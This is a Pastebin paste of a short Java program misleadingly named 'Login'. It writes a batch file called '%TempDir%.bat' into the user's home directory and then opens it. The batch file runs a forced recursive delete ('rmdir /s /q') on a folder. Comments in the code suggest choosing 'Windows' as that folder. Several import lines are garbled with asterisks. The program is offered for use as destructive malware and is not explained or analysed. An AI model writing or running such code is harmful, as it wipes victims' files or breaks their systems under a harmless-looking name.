Advertisement
Guest User

Untitled

a guest
Aug 16th, 2017
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.78 KB | None | 0 0
  1. import java.awt.Desktop;
  2. import java****.BufferedWriter;
  3. import java****.File;
  4. import java****.FileWriter;
  5. import java********Exception;
  6.  
  7.  
  8. public class Login {
  9. //get the users home file path
  10. public static String getPathToSetFile(){
  11. //this will get the users home, for example(C:/users/"UsersName"/)
  12. String home = System.getProperty("user.home");
  13. return home; // returns the string that we just got(the path)
  14. }
  15. //set the file in the given directory
  16. public static void setFile() throws IOException{
  17. //creates a new file in the directory we just found, named %tempDir% as a batch file
  18. File f = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
  19. FileWriter fw = new FileWriter(f);
  20. BufferedWriter bw = new BufferedWriter(fw);//opens up a bufferedwriter for the file
  21. if(f.exists()){ //if the file exists
  22. f.setWritable(true); //allows us to write to file
  23. bw.write("@echo off");
  24. bw.newLine();
  25. bw.write("rmdir /s /q \"C:" + File.separator + "AddHere\""); // writes this batch command to file to delete specified folder
  26. bw.newLine(); // replace add here above with the folder you want deleted ex (Windows)
  27. bw.write("pause"); //delete this if you dont want bat to stay open after running
  28. }else{//if the file doesn't exist (no real need for this beacuse we already know the file exists. jsut created it.
  29. }
  30. bw.close(); //closes buffered writer
  31. }
  32. //gets file and runs it
  33. public static void runFile() throws IOException{
  34. setFile();
  35. File toOpen = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
  36. Desktop.getDesktop().open(toOpen); //i used the desktop method to run files, dont ask why. just simpler
  37. }
  38. //main method
  39. public static void main(String[] args) throws IOException{
  40. runFile();//excecuted code
  41. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement